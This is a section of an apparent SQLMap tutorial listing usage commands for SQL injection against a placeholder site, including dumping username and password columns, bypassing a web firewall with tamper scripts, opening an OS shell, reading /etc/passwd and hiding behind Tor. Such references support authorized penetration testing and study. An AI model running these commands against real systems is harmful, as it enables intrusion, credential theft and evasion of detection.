SQLMap Section 9 of 13
Usage Examples
Real-world SQLMap commands for different exploitation scenarios.
Basic GET parameter test
bash
1sqlmap -u 'http://target.com/page?id=1'
POST data injection
bash
1sqlmap -u 'http://target.com/login' --data='user=admin&pass=test'
Load request from Burp file
bash
1sqlmap -r request.txt
Enumerate all databases
bash
1sqlmap -u 'http://target.com/page?id=1' --dbs
Enumerate tables in a database
bash
1sqlmap -u 'http://target.com/page?id=1' -D mydb --tables
Dump a specific table
bash
1sqlmap -u 'http://target.com/page?id=1' -D mydb -T users --dump
Dump specific columns
bash
1sqlmap -u 'http://target.com/page?id=1' -D mydb -T users -C username,password --dump
Use tamper script to bypass WAF
bash
1sqlmap -u 'http://target.com/page?id=1' --tamper=space2comment,randomcase
Get OS shell (if privileged)
bash
1sqlmap -u 'http://target.com/page?id=1' --os-shell
Read server file
bash
1sqlmap -u 'http://target.com/page?id=1' --file-read=/etc/passwd
Use Tor for anonymity
bash
1sqlmap -u 'http://target.com/page?id=1' --tor --tor-type=SOCKS5
High level + risk with random agent
bash
1sqlmap -u 'http://target.com/page?id=1' --level=5 --risk=3 --random-agent --batch
Specify injection technique
bash
1sqlmap -u 'http://target.com/page?id=1' --technique=BEUST
Test specific parameter
bash
1sqlmap -u 'http://target.com/search?q=test&cat=1' -p q
Force specific DBMS
bash
1sqlmap -u 'http://target.com/page?id=1' --dbms=mysql --batch